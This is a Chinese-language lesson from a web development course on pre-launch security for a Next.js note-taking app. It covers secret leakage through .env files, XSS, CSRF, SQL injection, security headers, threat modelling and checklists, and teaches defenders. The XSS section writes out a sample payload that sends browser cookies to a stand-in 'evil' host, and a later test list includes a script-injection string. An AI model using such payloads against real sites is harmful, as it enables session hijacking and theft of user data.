5.1 安全不是附加项——一个 .env 泄露能有多严重?上线前安全清单

0 阅读16分钟

模块五:工程质量与生产部署 | 第01讲:安全不是附加项——一个 .env 泄露能有多严重?上线前安全清单

本讲定位:把「Vibe Coding 能跑起来」升级为「能放心上线」——从密钥泄露的真实代价出发,建立 Next.js 14 全栈项目的安全心智模型上线前清单
项目锚点:VibeNote 智能笔记(Next.js 14、TypeScript、Drizzle、PostgreSQL、Vercel)。
延伸阅读:仓库内 课程内容/6.1reference/advanced/08-auth-security.md(密钥、认证、注入与排查框架)。


一、开场故事:五分钟,从「开源炫耀」到「账单爆炸」

想象一位独立开发者把 VibeNote 推到 GitHub:git add .git commitgit push,一气呵成。十分钟后,邮箱里躺着一封 OpenAI 的告警:「过去 10 分钟产生 $127 的 API 费用。」他今天根本没点「AI 摘要」——后台却在以每秒数十次的频率被陌生请求狂刷。

这不是段子,而是公开仓库密钥扫描的日常剧本。互联网上大量机器人 24 小时爬取新提交,专门匹配 OPENAI_API_KEYsk-DATABASE_URL 等模式。密钥一旦进入可公开访问的 Git 历史,删除 .env 文件也无济于事:历史 commit 里仍然躺着明文。

对 VibeNote 而言,泄露的后果分层叠加:

  1. 直接经济损失:第三方模型 API、对象存储、邮件服务按量计费,被盗刷往往发生在几分钟内。
  2. 数据与合规风险DATABASE_URL 若指向生产库,攻击者可拖库、改数据、植入后门;用户笔记与元数据属于高敏感资产。
  3. 品牌与信任崩塌:一旦出现「笔记站被挂马」「用户数据外泄」,独立产品的增长曲线会被一次性打断。

结论:安全不是功能列表最后一项的 checkbox,而是从第一行环境变量第一次 git init 就必须内建的工程习惯。

flowchart LR
    subgraph Leak["泄露入口"]
        A[误提交 .env]
        B[客户端暴露密钥]
        C[日志打印密钥]
        D[依赖供应链]
    end
    subgraph Impact["连锁影响"]
        E[API 盗刷]
        F[数据库被拖库]
        G[会话劫持 / CSRF]
        H[SEO 被挂黑链]
    end
    A --> E
    A --> F
    B --> E
    C --> F
    D --> H
    B --> G

二、.env 与密钥管理:Server / Client 边界是铁律

2.1 三条硬规则

  1. 永远不要提交 .env.env.local.env.production;在 .gitignore 中显式列出,并定期 git log -p -- .env 自查历史(若曾误提交,必须轮换密钥并考虑 git filter-repo 等历史清洗,且清洗后所有 fork/clone 仍可能残留——最稳妥是换新密钥)。
  2. 生产密钥只存在于:Vercel / 云平台的 Environment Variables、密钥管理服务(如 Vault、云厂商 KMS),而不是 Slack 截图或 README。
  3. Next.js 环境变量命名:仅 NEXT_PUBLIC_* 会进入浏览器 bundle;凡是能调数据库、调支付、调模型 API 的变量,一律不得带 NEXT_PUBLIC_ 前缀

2.2 VibeNote 推荐拆分

变量示例运行位置说明
DATABASE_URL仅服务端 / ServerlessDrizzle 连接串,绝不可公开
AUTH_SECRET仅服务端Auth.js / Session 签名密钥
OPENAI_API_KEY仅服务端 Route HandlerAI 摘要接口内部调用
NEXT_PUBLIC_APP_URL客户端可见仅域名级配置,不含密钥
sequenceDiagram
    participant U as 浏览器
    participant E as Edge/Middleware
    participant R as Route Handler
    participant DB as PostgreSQL
    participant AI as 模型 API
    U->>E: HTTPS 请求
    E->>R: 校验 Cookie / Session
    R->>DB: Drizzle 查询(DATABASE_URL)
    R->>AI: 服务端调用(API_KEY)
    R-->>U: JSON/HTML(不含密钥)

三、Web 安全「老三样」+ 全栈注入面:XSS、CSRF、注入

3.1 XSS(跨站脚本)

场景:用户笔记标题未转义即插入 DOM,攻击者写入 <script>fetch('//evil?c='+document.cookie)</script>,窃取会话。

VibeNote 对策

  • React 默认对文本节点做转义;避免 dangerouslySetInnerHTML 渲染用户 Markdown 除非你明确使用可信 sanitize(如统一用 rehype-sanitize 管线)。
  • 对富文本编辑器导出 HTML 的场景,白名单标签优于黑名单。
  • Content-Security-Policy(CSP) 作为纵深防御:限制内联脚本与非本域脚本加载(见下文 Headers)。

3.2 CSRF(跨站请求伪造)

场景:用户已登录 VibeNote,访问恶意站点,该站点自动 POST 删除笔记。

对策

  • Cookie 认证场景下使用 SameSite=Lax/Strict、必要时 Secure
  • 对敏感写操作采用 CSRF Token双重 Cookie 模式;Next.js App Router + 现代 Auth 方案通常会处理 Session 与 Cookie 策略——你要做的是不自行发明脆弱的 Cookie 方案
  • 对 REST 写接口校验 Origin/Referer(辅助手段,不能单独依赖)。

3.3 SQL 注入

Drizzle 与参数化查询大幅降低风险;禁止字符串拼接 SQL。若存在原生 sql 片段,必须参数绑定:

// 安全:参数绑定(示意,按你项目 db 实例调整)
import { sql } from "drizzle-orm";

export function unsafeSearchPattern(raw: string) {
  // 仅示意转义通配符,真实项目请用全文检索或 ORM 查询构建器
  const escaped = raw.replace(/[%_]/g, "\\$&");
  return sql`title ILIKE ${"%" + escaped + "%"}`;
}

3.4 AI 应用特有风险

VibeNote 的「摘要」「标签建议」若直接把用户笔记全文发往第三方模型,需考虑:

  • 数据最小化:只发送必要片段;提供用户开关与区域合规说明。
  • 提示注入:后端对模型输出做 schema 校验(Zod),避免模型返回被当作指令执行(尤其在后续 Agent 化时)。

四、HTTPS 与安全响应头(Headers)

4.1 为什么必须 HTTPS

  • 防中间人篡改与 Cookie 窃取。
  • 现代浏览器能力(Service Worker、部分 API)要求安全上下文。
  • Vercel 默认提供 TLS;自建 VPS 则用 Let’s Encrypt(第06讲展开)。

4.2 Next.js 14 配置 headers(可运行片段)

next.config.mjs 中增加基础安全头(按业务调整 CSP):

// next.config.mjs
/** @type {import('next').NextConfig} */
const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          { key: "Strict-Transport-Security", value: "max-age=63072000; includeSubDomains; preload" },
          { key: "X-Frame-Options", value: "DENY" },
          { key: "X-Content-Type-Options", value: "nosniff" },
          { key: "Referrer-Policy", value: "strict-origin-when-cross-origin" },
          {
            key: "Permissions-Policy",
            value: "camera=(), microphone=(), geolocation=()",
          },
          // CSP 需按是否内联脚本精细调整;以下为偏严示例,可能要求配合 nonce
          {
            key: "Content-Security-Policy",
            value: "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.openai.com;",
          },
        ],
      },
    ];
  },
};

export default nextConfig;

实操提示:CSP 过严会导致第三方分析脚本被拦截;上线前在 Preview 环境逐项验证。

flowchart TD
    subgraph Defense["纵深防御"]
        H1[HTTPS + HSTS]
        H2[CSP / XFO]
        H3[SameSite Cookie]
        H4[服务端校验 Zod]
        H5[最小权限 DB 用户]
    end
    H1 --> H2
    H2 --> H3
    H3 --> H4
    H4 --> H5

五、上线前安全清单(可直接打印)

5.1 密钥与配置

  • .gitignore 覆盖所有 .env*;仓库无密钥历史(或已轮换)。
  • 生产环境变量已在平台配置,本地 .env.example 仅含占位符
  • 数据库用户使用最小权限(禁止 superuser 跑应用)。
  • Auth SECRET 长度足够且随机(openssl rand -base64 32)。

5.2 应用层

  • 所有写接口校验登录态与资源归属(用户只能删自己的笔记)。
  • Zod 校验所有入参;错误信息不泄露堆栈与 SQL。
  • 文件上传限制类型与大小;对象存储 bucket 非公开或配 CDN 签名 URL。
  • Rate limit(至少对登录与 AI 接口)——可用中间层或边缘规则。

5.3 依赖与运维

  • pnpm audit / npm audit 无高危未处理项(或已评估接受风险)。
  • 备份与恢复演练(PG 逻辑备份或托管快照)。
  • 日志脱敏(不打印 token、cookie、Authorization)。

5.4 一键自检脚本(Node,可运行)

将下列脚本保存为 scripts/security-smoke.mjs,在项目根执行 node scripts/security-smoke.mjs

// scripts/security-smoke.mjs
import { readFileSync, existsSync } from "node:fs";
import { join } from "node:path";

const root = process.cwd();
const envPath = join(root, ".env");
const gitignorePath = join(root, ".gitignore");

function fail(msg) {
  console.error("❌", msg);
  process.exitCode = 1;
}
function ok(msg) {
  console.log("✅", msg);
}

if (existsSync(envPath)) {
  const content = readFileSync(envPath, "utf8");
  if (/NEXT_PUBLIC_.*(KEY|SECRET|TOKEN|PASSWORD)/i.test(content)) {
    fail("检测到 NEXT_PUBLIC_* 中包含敏感关键词,请检查是否会把密钥打进浏览器 bundle。");
  } else {
    ok(".env 未发现明显的 NEXT_PUBLIC 密钥命名问题(仍需人工复核)。");
  }
} else {
  ok("未找到本地 .env(若你使用 .env.local 亦请自检)。");
}

if (existsSync(gitignorePath)) {
  const gi = readFileSync(gitignorePath, "utf8");
  if (!gi.split("\n").some((l) => l.trim() === ".env" || l.includes(".env"))) {
    fail(".gitignore 可能未忽略 .env*");
  } else {
    ok(".gitignore 已包含 .env 相关规则。");
  }
} else {
  fail("缺少 .gitignore");
}

console.log("\n完成冒烟检查:若 exit code 非 0,请修复后再 push。");

六、与 VibeNote 的映射:你要改的三处「默认不安全」

  1. AI 路由:确保 OPENAI_API_KEY 只存在于服务端;前端通过 POST /api/ai/summarize 触发,Body 用 Zod 限制长度。
  2. 笔记展示:Markdown 渲染链路必须 sanitize;禁止把未过滤 HTML 存进 DB 后直接输出。
  3. 错误页:生产环境关闭详细堆栈;统一错误码与友好文案。

六点五、威胁建模入门:用 STRIDE 扫一遍 VibeNote

你不一定要把 STRIDE 写成正式文档,但用它的六个字母当「自检表」,能显著减少「我以为没人会这么干」的侥幸心理。

  • S(伪造身份):攻击者能否伪造 Session?Cookie 未 Secure、未 HttpOnly 时风险上升。应对:成熟认证库、Middleware 统一校验、关键操作二次确认(可选)。
  • T(篡改):攻击者能否改别人的笔记?仅靠「前端隐藏按钮」不够,必须在数据库层校验 userId
  • R(抵赖):用户否认操作?若未来做协作,需审计日志(谁何时改了什么)。
  • I(信息泄露):错误信息、日志、API 响应是否泄露内部结构?生产应返回稳定错误码。
  • D(拒绝服务):能否用超大正文拖垮数据库与模型 API?需要限流、体长上限、超时与重试上限。
  • E(权限提升):普通用户能否调用管理员接口?路由分层、角色声明、服务端再校验。

把 STRIDE 与「泄露入口」图叠加,你会发现:很多事故不是单一漏洞,而是多层防线同时失守


六点六、OWASP 视角:独立产品也要对齐的最低线

  1. 访问控制失效:笔记接口必须对象级授权,不是「登录即可」。
  2. 加密失败:传输层 TLS;存储层敏感 token 加密或最小化存储。
  3. 注入:Drizzle 参数化,禁止拼接 SQL。
  4. 不安全设计:把 AI 输出直接当指令执行(未来 Agent 化时极高风险)。
  5. 安全配置错误:调试开关、开放 CORS *、目录列表。
  6. 脆弱组件:依赖漏洞——锁定 lockfile,定期 audit。
  7. 认证失败:弱密码、无 MFA(可按阶段引入)。
  8. 完整性:CI 被篡改——最小权限 token。
  9. 日志与监控不足:只靠用户截图。
  10. SSRF:若支持抓取网页摘要,必须限制内网与元数据地址。

六点七、深度案例复盘(虚构但典型)

案例 A:公库误提交 .env(分钟级)
止损:立刻 revoke 密钥、轮换连接串、评估拖库风险;预提交 secret scan。

案例 B:密钥进客户端 bundle
修复:密钥只在 Route Handler;客户端只调自家 API。

案例 C:Markdown XSS
修复:sanitize + CSP + SameSite/Secure 组合。


六点八、给 AI 的安全协作提示词模板(贴进 AGENTS.md)

你是资深 Next.js 安全工程师。约束:第三方密钥只在服务端;禁止 NEXT_PUBLIC_ 暴露密钥;输入必须 Zod;Markdown 必须 sanitize;错误不返回堆栈;示例连接串只用占位符。输出先列威胁点再给补丁。


六点九、安全与产品节奏的折中策略

第 0 周:密钥不入库、HTTPS、Headers、对象级授权。第 1 周:sanitize、限流、Sentry。第 2 周:CSP 收紧、依赖治理、备份演练。


六点十、接口安全验收表

接口必须验收常见翻车点
POST /api/notes登录、体长上限、归属未校验 userId
PATCH /api/notes/:id对象级授权只校验登录
POST /api/ai/summarize服务端密钥、超时、配额key 暴露
GET /api/notes仅当前用户泄露全站

七、思考题(建议写下来)

  1. 如果你发现同事把 DATABASE_URL 贴进了 PR 描述,第一时间应做哪三步(含密钥与流程)?
  2. 为什么「删除仓库里的 .env 文件」不能等同于「密钥已安全」?
  3. 为 VibeNote 设计一条 CSP:需要允许哪些 connect-src 才能同时支持 Vercel Analytics 与你的模型供应商域名?
  4. SameSite=Lax 能防护哪些 CSRF 场景,哪些场景仍然需要 Token?

八、本节小结

  • .env 泄露的典型路径是 Git 历史 + 公网扫描,成本可能是分钟级盗刷数据级灾难
  • Next.js 的 NEXT_PUBLIC_ 前缀是「公开契约」,密钥永远留在服务端。
  • XSS / CSRF / 注入需要 框架默认 + 校验 + Headers 组合防御。
  • 上线前用清单 + 自动化冒烟把低级事故挡在门外。

九、下讲预告

第02讲:测试分层与自动化——能跑不等于能交付,回归测试方案
我们将搭建测试金字塔:用 Vitest 守住纯函数与 Server 逻辑,用 Playwright 守住「登录—写笔记—搜索」关键路径;并讨论 AI 生成代码 的验收策略——如何让机器写的代码仍能被机器与用户双重验证。


附录:CSP 指令与 VibeNote 落地逐项说明

default-src:默认资源加载策略,建议 'self',再为图片、字体、分析脚本单独放行。
script-src:最敏感;若必须内联脚本,使用 noncehash,不要长期 'unsafe-inline'。VibeNote 若用第三方编辑器脚本,要明确列出域名而非 *
style-src:Tailwind 与组件库常需要 'unsafe-inline',这是现实折中;配合 Subresource Integrity 降低供应链风险。
img-src:笔记若支持外链图片,需评估 https: 与数据 URL 的范围;恶意图片可导致隐私泄露(IP 记录),可后续加代理或白名单。
connect-src:前端 fetch 能连哪些域;模型 API 不应出现在这里,应只连你自己的 API。
frame-ancestors:配合 X-Frame-Options 防止点击劫持。
base-uri / form-action:限制基址与表单提交目标,防钓鱼跳转。

落地方法:先在 Report-Only 模式收集违规报告,再切换到 enforce;否则容易一次性把站点打挂。


附录:CSRF 在 Cookie 登录下的典型攻击面

场景 1:恶意站点诱导已登录用户发起 POST /api/notes/delete。若 Cookie 随跨站请求发送且缺少保护,可能成功。SameSite=Lax 能挡住「跨站 POST」的多数默认行为,但并非万能(例如某些 GET 副作用、或未来浏览器策略差异)。
场景 2:子域名 XSS。若 evil.vibenote.com 能种 cookie 到父域,风险上升;域名隔离与 Host-only cookie 策略需要提前设计。
场景 3:双重提交 Cookie 与 CSRF Token:对高敏操作(改邮箱、删号)逐步引入。VibeNote 早期可以 SameSite + 同源 API 为主,但要在文档记录「未覆盖场景」。


附录:数据库最小权限示例(PostgreSQL 思路)

应用账号应只拥有业务 schema 的 SELECT/INSERT/UPDATE/DELETE,禁止 DROPCREATE EXTENSION、读写 pg_shadow。迁移账号与运行时账号分离:CI 用迁移角色,应用用受限角色。Neon 等托管服务可在控制台创建只读用户给分析与报表,避免误操作拖垮主库。


附录:密钥轮换 Runbook(简版)

  1. 在供应商控制台 创建新密钥(双密钥并存窗口期)。
  2. 更新 Vercel Production 环境变量 → 触发部署。
  3. 验证核心路径(登录、写笔记、AI 摘要)。
  4. 废弃旧密钥并记录轮换时间、操作人。
  5. 若曾泄露:假设数据已暴露,评估通知用户与强制登出。

附录:安全相关的「文档资产」建议

在仓库维护 SECURITY.md(漏洞上报渠道)、docs/threat-model-vibenote.md(一页纸)、docs/incident-template.md(事故时间线模板)。独立产品看似小题大做,但当你第一次面对用户质问「我的数据怎么了」,这三份文件决定你是专业还是慌乱


附录:Next.js 服务端与客户端边界再强调(结合 VibeNote)

任何出现在 Client Component 顶层 import 链上的模块,都可能被打包进浏览器。若你不小心在 lib/db.tsimport { db } from './drizzle' 又被 Client 引用,就等于把数据库连接逻辑暴露给构建工具——即使运行时不执行,也可能泄露结构信息或误用 API Route。最佳实践是:server-only 包标记服务端模块;数据库访问只从 Route Handler、Server Action(谨慎)、Server Component 调用。AI 生成代码时最常在这里翻车,因此要在 PR 里重点盯 import 方向

Server Action 若处理敏感写操作,必须重复校验 session,不要信任隐藏字段里的 userId。攻击者可以篡改表单。始终从 session 取用户主键,再与业务对象关联。


附录:笔记类产品的「内容安全」扩展清单

除 XSS 外,还要考虑:恶意链接钓鱼、Markdown 里的 javascript: 协议、以及未来若支持附件时的 MIME 嗅探与解压炸弹。每一项都可以先记录为 known limitation,但要在用户协议中诚实告知边界,避免法律与口碑风险。


附录:安全测试的最小手工用例(30 分钟)

  1. 用另一个账号的 noteIdPATCH,应 403 或 404。
  2. 在标题输入 "><script>alert(1)</script>,列表与详情应不执行脚本。
  3. 在生产打开开发者工具 Network,确认响应体与 JS bundle 无 sk- 形态密钥。
  4. curl -I 检查安全响应头是否生效。

附录:依赖供应链与 lockfile 纪律

package-lock.json / pnpm-lock.yaml 是安全的沉默英雄:锁定传递依赖版本,避免「今天构建明天变」。不要把 lockfile 从 .gitignore 里拿掉。遇到 npm audit 报告时,优先升级到补丁版本,大版本升级留给单独 PR 并配回归测试。若使用 AI 生成 package.json 依赖列表,务必人工核对包名是否 typosquatting(相似拼写的恶意包)。


附录:Webhook 与第三方集成(VibeNote 未来扩展)

当你接入支付、GitHub Webhook、或自动化工作流时,务必验证 HMAC 签名与时间戳防重放。不要把 webhook 密钥写进客户端。对每次回调记录 eventId 日志以便排障与去重。


附录:从「个人项目」到「小团队」的权限分桶

即使只有一个仓库,也建议把 Vercel、数据库、域名 DNS、模型供应商分成不同账号或使用 团队角色:谁能部署、谁能看账单、谁能轮换密钥——写入一页运维分工表。很多事故来自「大家都以为对方会管」。


附录:安全相关的代码评审提问清单(打印贴在显示器边)

这份清单适合你在合并 AI 生成 PR 时自问:「是否新增了对外暴露的调试路由?」「是否把用户输入拼接进 SQL 或 shell?」「是否默认开启了 CORS *?」「是否把 console.error(err) 直接返回给客户端?」「是否在循环里打 info 日志?」「是否给管理员接口加了额外保护?」「是否对上传文件校验扩展名与魔数?」「是否把 session id 写进 URL query?」每一个「是」都值得停下来改。


附录:笔记加密(可选方向)与工程代价

端到端加密(E2EE)能显著降低服务端泄露风险,但会带来搜索困难、分享困难、密钥恢复困难。VibeNote 若定位为「个人知识库」可考虑未来迭代;若定位为「团队协作」则要重新权衡。现阶段更现实的组合是:传输加密(TLS)+ 数据库托管加密 + 严格的访问控制 + 最小化日志


附录:安全与性能的合谋点

限流、WAF、CSP、压缩、缓存并不矛盾。限流可以保护数据库与钱包;CSP 可能增加少量配置成本,但减少 XSS 后的止损成本。把安全当作「性能与稳定性的前置条件」,而不是对立面,你会更容易说服自己投入时间。


附录:常见误区澄清(口语化复盘)

误区 1:「我仓库是私有的,所以推送 .env 没关系。」私有仓库成员变动、误设公开、子模块泄露都可能发生;私有不等于安全。
误区 2:「我把密钥 base64 一下就不算明文。」编码不是加密,扫描器同样解码。
误区 3:「前端不展示字段就等于别人看不到。」还有 Network 面板、SourceMap、错误回显。
误区 4:「HTTPS 上了就万事大吉。」HTTPS 解决传输保密与完整性,不解决 XSS、不解决越权、不解决弱口令。
误区 5:「我小项目没人攻击。」自动化扫描并不挑项目大小;密钥被盗刷也与用户量无关。


附录:把「上线前安全清单」变成团队仪式

每次发版前用 10 分钟过一遍清单:谁念条目、谁负责点生产验证、谁负责看账单与 Sentry。仪式感的意义在于:把偶然的责任感变成可重复流程。Vibe Coding 越快,流程越要有刹车片。


附录:与「数据校验三道防线」的衔接(课程前后文)

你在数据篇学过:前端校验提升体验,服务端校验才是安全边界。安全讲与校验讲是同一枚硬币的两面:没有 Zod,PATCH 可能把 userId 改掉;没有数据库约束,竞态下可能插入重复关联。把「校验 + 约束 + 授权」画在一张图上贴墙,比背十条定义更有用。


附录:本讲与 reference/08 的映射表

reference 中强调的「密钥不出现在代码里、Git 历史不可逆、扫描五分钟」与本讲清单一一对应;你可以把 reference 当作延伸阅读,把本讲当作执行手册。当两者冲突时,以能落地者优先:先止血,再追求完美。


附录:一句话记住本讲

密钥像现金:别拍照、别群发、别贴在窗户上;代码仓库就是窗户。


附录:10 条「上线前最后一遍」快速口播

  1. 环境变量三方一致:本地、Preview、Production。2. 回调域名与 NEXTAUTH_URL 对齐。3. 关闭调试接口。4. 打开基础安全头。5. 抽查越权。6. 抽查 XSS 输入。7. 打开 Sentry 看是否暴增。8. 看模型供应商用量曲线。9. 看数据库连接数。10. 备份可用性心里有数。十条念完不超过两分钟,但能挡住大量低级事故。

附录:推荐你记在笔记本扉页的三句话

第一句话:安全是默认开启的约束,而不是上线前的补丁。第二句话:任何进 Git 的东西都要假设全世界都能看到。第三句话:用户数据是借来的信任,不是免费的素材。三句话不技术,但决定你在疲惫时会不会「先合并再说」。


附录:本讲学完你可以对外复述的「电梯演讲」

我们用托管平台部署 Next.js,把密钥放在环境变量里,配合 HTTPS 与安全响应头,服务端校验所有写操作并做对象级授权,Markdown 内容要消毒,日志脱敏并可关联 requestId,上线前用清单与冒烟脚本挡住低级失误。安全不是炫技,是长期复利。


课后动作(15 分钟):打开 VibeNote 仓库,逐条对照第五节清单,标记 ✅/❌,并把第一项「不通过」记在 issue 标题里作为本周技术债。


补篇:安全运营日历(示例)

周一:依赖 audit。周三:日志抽样检查。周五:备份核对。每月:密钥轮换复盘。每季:桌面演练(假事故)。把日历写进 README,降低「忘记检查」的概率。